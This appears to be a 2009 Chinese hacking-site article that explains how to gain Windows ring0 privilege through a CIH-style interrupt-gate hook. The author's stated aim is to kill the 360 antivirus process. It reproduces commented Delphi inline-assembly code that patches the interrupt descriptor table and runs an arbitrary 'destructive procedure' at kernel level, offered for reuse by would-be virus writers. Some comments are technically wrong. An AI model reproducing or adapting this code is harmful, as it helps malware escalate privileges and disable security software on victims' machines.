获取邀请码 |代理访问| 基地首页 | 基地文章 | 基地动画 | 基地软件 | 技术论坛 | 会员学院
 
 
热门搜索:安全 安全工具 网站赚钱 会员培训 CMS建站网 安全
攻防总结免费资源网赚文章网管技巧防火墙技术端口入侵Sniffer嗅探arp技术
DDOS攻防3389攻防灰鸽子文章逆向工程破解实例加密技术脱壳技术溢出漏洞
serv-u漏洞社会工程学渗透技术跨站技术提权技术
 您现在的位置: 新世纪网安基地 >> 文章 >> 网络技巧 >> 文章正文
浅谈Ring0特权的获取
作者:admin    文章来源:转载    点击数:    更新时间:2009-10-8

最近一直想写个程序干掉360,但是遇到了许多麻烦,即使权限提升,能干掉Winlogon.exe也干不掉360tray.exe,郁闷了半天。不知道360采用了什么诡异手段。后来找了找以前的比较牛X的病毒,熊猫烧香的核心代码没公布,再往前追,到了CIH病毒,得到了一些启发。

首先说说ring0和ring3. 众所周知,windows 9X的win32在Intel X86 体系中只使用了处理器的三环保护模型中的零环(ring0,最高权限级别)和三环(ring3,最低权限级别),一般应用程序都运行在ring3下,只能调用系统提供的api,要想进行系统的底层操作,就只能进ring0了。

要想获取这种ring0权限,可以编写一个VxD(虚拟设备驱动程序),因为Vxd和系统运行在同一级别,但是到了windows NT/2000,Vxd已被Wdm取代,对于Wdm的编写,太难了,需要了解系统核心驱动模型。

但是在windows NT/2000下,也曾出现过超级用户获得ring0特权的代码,其中使用了“物理内存直接读写”,“线性地址映射为物理地址”等关键技术,但是跟踪研究发现,这些超级用户获取ring0特权的代码与操作系统密切相关,不具通用性。原因是微软的哥哥姐姐太可爱了,在windows NT/2000下,“线性地址映射为物理地址”的函数MmGetPhysicalAddress中的代码被多次更改,使得物理地址的计算不具有通用性。

扯远了,但是进入ring0是每个病毒编写者的终极目标,进入ring0意味着系统任由你摆布了,现在网上也介绍了许多进入ring0的办法,但都是c++写的,我一个搞Delphi的,望尘莫及呀。不禁感叹熊猫烧香的牛X和兵刃的牛逼,要想获得系统特权,好像编写驱动是最好的办法了,但是驱动不是我等小菜能开发的。最后参照风靡一时的CIH病毒,找到了进ring0的一种方法,就是在Delphi里内嵌汇编调用中断门进ring0,作者技术不是我能评价的,代码短小精悍,值得学习。贴出来借鉴吧,我做了注释。

 procedure Ring0ToRun; stdcall;
   const ExceptionUsed = $03;        // 中断号,也可以用其他的中断号,如$05等

var

IDT:array [0..5] of byte;  //保存中断描述符表,6字节

lpOldGate : DWORD;  // 保存旧的中断向量,8个字节
   begin
      asm
        sidt IDT                   //读入中断描述符表至IDt中
        mov ebx, dword ptr [IDT+2]  //IDT共6字节,第2~5字节是中断描述符表的基地址,基地址存入ebx中
        add ebx, 8*ExceptionUsed   //加上8x3个字节,因为每个中断向量占用8字节,
        cli                        //关中断,下面的代码是关键代码,不允许打断
        mov dx, word ptr [ebx+6] //取中断向量的6,7字节
        shl edx, 16d               //左移166位,中断向量的6,7字节存入edx的高32位
        mov dx, word ptr [ebx]   //取中断向量的0,1字节,存入edx低32位
        mov [lpOldGate], edx       //保存中断向量至lpoldgate中
        mov eax, offset @@Ring0Code  //修改向量,指向Ring0级代码段
        mov word ptr [ebx], ax
        shr eax, 16d
        mov word ptr [ebx+6], ax
        int ExceptionUsed          // 发生中断,自动以ring0执行@@Ring0Code
        mov ebx, dword ptr [IDT+2] //重新读出中断描述符表
        add ebx, 8*ExceptionUsed
        mov edx, [lpOldGate]
        mov word ptr [ebx], dx
        shr edx, 16d
        mov word ptr [ebx+6], dx   //恢复被改了的向量
        ret
     @@Ring0Code:   //Ring0级代码段
        push es
        push ds
        pushad
        call SendCommand  //这里调用你的破坏过程,无人可挡
        popad
        pop ds
        pop es
        iretd         //中断返回
     end;
  end;


 

『关闭该页』 『打印该页』

  • 上一篇文章:
  • 责任编辑:Wangtianxiang 
  • 下一篇文章: 没有了
  • 最近更新
    推荐文章服务器超级隐藏账户的
    推荐文章小黑哥:月收入3000的
    推荐文章黑客横行,教你设个陷阱
    推荐文章批处理学习完全教程
    推荐文章安全技巧:检查自己的
    推荐文章多种方法:揪出隐藏在电
    推荐文章介绍一种通过的个人电
    推荐文章SEO专家祝鹏:浅谈SEO
    推荐文章王通:让网络销售疯狂
    推荐文章三步让你录制的动画体
    热门文章
    普通文章菜鸟入门必须掌握8个D
    普通文章走近黑客:黑客是怎样
    普通文章老外:如何获取远程电
    普通文章"蹭网卡"侵入长沙 几分
    普通文章网吧黑客常用的一些命
    普通文章Discuz7惊现新漏洞,利
    普通文章网站“天涯图影”
    普通文章在QQ中将自己从对方的
    普通文章windows2008绕过登录密
    普通文章1433 sa弱口令相关命令
    相关文章
    菜鸟的脱壳手记
    键盘记录钩子的简单编写
    无线密码找回全功略
    淘宝旺旺ActiveX控件导致
    EASYNEWS新闻管理系统 v
    php创建一句话后门的sql
    八大技术利弊解析无线网
    三万账户信息失窃
    浅析草根站长多样化的赚
    网赚分析 网赚远远超乎人
    通过网赚受骗得到的经验
    实例讲解Cookies欺骗与s
    SQL脚本注入的不常见方法
    网购高手帮人网上秒杀扫
    微软称近一万Hotmail账户
    不用买空间和域名,轻松赚
    三分钟搞定隐藏管理员账
    Windows PE用法
    关于网站的SYN_RECV攻击
    长假后期小心感染型病毒
    关于我们 | 加入会员 | 网安商城 | 投稿方法 | 广告报价| 友情连接 | 网站地图 | 网安论坛网安招聘 |Java
    加入会员咨询QQ:65444425 投稿方法: 广告与合作QQ:9324223

    浙ICP备06031184号